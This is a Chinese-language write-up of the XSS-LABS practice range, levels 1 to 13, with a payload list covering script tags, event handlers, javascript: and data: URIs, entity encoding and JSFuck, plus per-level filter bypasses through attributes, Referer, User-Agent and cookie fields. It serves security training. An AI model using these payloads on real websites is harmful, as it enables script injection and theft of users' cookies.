XSS注入练习篇1-13关 一

@[TOC]XSS注入练习(靶场闯关)

一.常用标签处理

level1所有bypass
<script>alert(1)</script>
<script>confirm('1')</script>
<script>alert(1)</script>
<script>alert(/1/zyl)</script>
<script>alert(document.cookie)</script>
jsfuck.com
<script>alert([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]][([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]([+!+[]]+[])())</script>
<script>alert(String.fromCharCode(65))</script>
<ZYL/onclick="alert('xss')">ZYL
<script zyl>alert('xss')</script>
<a href="javascript:alert('xss')">aaa</a>
<a href=data:text/html;base64,PHNjcmlwdD5hbGVydCgzKTwvc2NyaXB0Pg==>
<a href=data:text/html;%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%2829%29%3C%2F%73%63%72%69%70%74%3E>ZYL
<a href=j&#x61;v&#97script&#x3A;&#97lert(13)>ZYL
<img src=1 onerror="alert('xss')">
<img src=1 onerror=alert(document.cookie)>
<svg onload=alert(1)>
<video src=1 onerror=alert(1)>
<img/src=1/onerror="alert(/xss/)">
<img/src=1/onerror=alert(/xss/)>
<button onfocus=alert(1) autofocus>
<body onload=alert(1)>
<body background="javascript:alert('XSS')">
<iframe src="javascript:alert('1')"></iframe>
<iframe onload=alert(1)></iframe>
<input onfocus=alert(1) autofocus>
<input type="image" src="javascript:alert('XSS');">

常用测试脚本
<script>alert(1)</script>
<svg onload=alert(1)>
<img src=1 onerror="alert('1')">

关于长度:长度限制一直以来是限制XSS注入的一种方案,一旦长度不符合,XSS注入将彻底失去意义,因为根本不可能执行带有攻击性的JS代码。故,在测试时我们常常以短小的JS代码起手

二.XSS-LABS

1.level 1

本关未开启任何限制

<script>alert(1)</script>

判断回显位置:
在这里插入图片描述
插入:
在这里插入图片描述

2.level 2 双引号闭合

看过滤机制,回显位置
在这里插入图片描述
回显在input标签内部,尝试构造双引号闭合,逃逸出来

"><script>alert(1)</script>//

在这里插入图片描述

3.level 3源码函数书写不全,单引号绕过

继续短payload起手,查看回显位置和过滤机制,与第二关相似
在这里插入图片描述
无法进行,作弊查看源代码
在这里插入图片描述
htmlspecialchars:用于字符转换的函数,用于过滤,这是转换的设置
在这里插入图片描述
在这里插入图片描述

在这里插入图片描述

4.level 4 无尖括号绕过

测试:
在这里插入图片描述
我们的左右括号被绕过,尝试不使用尖括号进行绕过:

"onclick=alert(1) v

在这里插入图片描述

5.level 5 a标签的使用

输出点:
在这里插入图片描述
感觉是替换防御,对<script> 进行替换,尝试更改payload

"<svg onload=alert(1)>//

在这里插入图片描述
蛙趣,on和script都给禁了,看源码作弊:
在这里插入图片描述
看样子,str3的位置有闭合引号的可能性,同时又不能出现on<scipt> ,再次修改payload:

"> <a href="javascript:alert(1)">click</a>

在这里插入图片描述
因此我们了解到,还有a标签可以使用,并且这类整体替换的书写模式是不推荐的

6.level 6 大小写绕过

开始测试:
过滤了script
在这里插入图片描述
还过滤了on
在这里插入图片描述
a标签测试:
在这里插入图片描述
依然失败,查看源码
在这里插入图片描述
过滤机制增加,大小写?可能有戏
在这里插入图片描述

7.level 7 置空替换绕过

开始测试
在这里插入图片描述
置空替换,测试是否会二次置空
在这里插入图片描述

8.level 8 URL编码绕过–重点

开始测试

返回了a标签里面,过滤了script,尝试闭合使用伪协议:
在这里插入图片描述
此时还是会被过滤,我们尝试进行HTML编码绕过,注意这里的编码对象不要包括敏感字符外的字符,可能会造成编码错乱,无法生效

#javascript:alert(1)的HTML编码

&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;:alert(1)

在这里插入图片描述
知识扩展

9.level 9 http://字符限制

在这里插入图片描述
直接回显此信息,查看源码分析

<body>
<h1 align=center>欢迎来到level9</h1>
<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
echo '<center>
<form action=level9.php method=GET>
<input name=keyword  value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
if(false===strpos($str7,'http://'))
{
  echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';
        }
else
{
  echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
}
?>
<center><img src=level9.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str7)."</h3>";
?>

这里强行让我们添加http://字段,我们再次构造payload

&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;:alert(1)http://

在这里插入图片描述
即使http放到后面还是无法弹出,一定是http产生影响,我们将其注释掉:

&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;:alert(1)//http://

在这里插入图片描述

10.level 10 隐藏参数传递绕过

探测回显
在这里插入图片描述
进行传参显示测试
在这里插入图片描述
发现这里有隐藏的参数传递,我们对其进行payload构造

http://192.168.163.1/xsslabs/level10.php?t_link=qqq&t_history=aaaaaa&t_sort=c"οnclick=alert(1) type="text

在这里插入图片描述

11.level 11 referer参数进入

在这里插入图片描述
发现,在refer字段中的信息被传递到页面里面显示了
在这里插入图片描述

aaa"type="text"οnclick="alert(1)

在这里插入图片描述

在这里插入图片描述

12.level 12 userahent参数进入

观察法,可得参数是从用户的agent头进去的
在这里插入图片描述
在这里插入图片描述

"οnclick=alert(1) type="text

13.level 13 cookie参数进入

这里是对cookie的插入
我们要先找到cookie的键,才能进行后续的插入
在这里插入图片描述
在这里插入图片描述
成功
在这里插入图片描述
插入payload

user=a"οnclick=alert(1) type="text//

在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值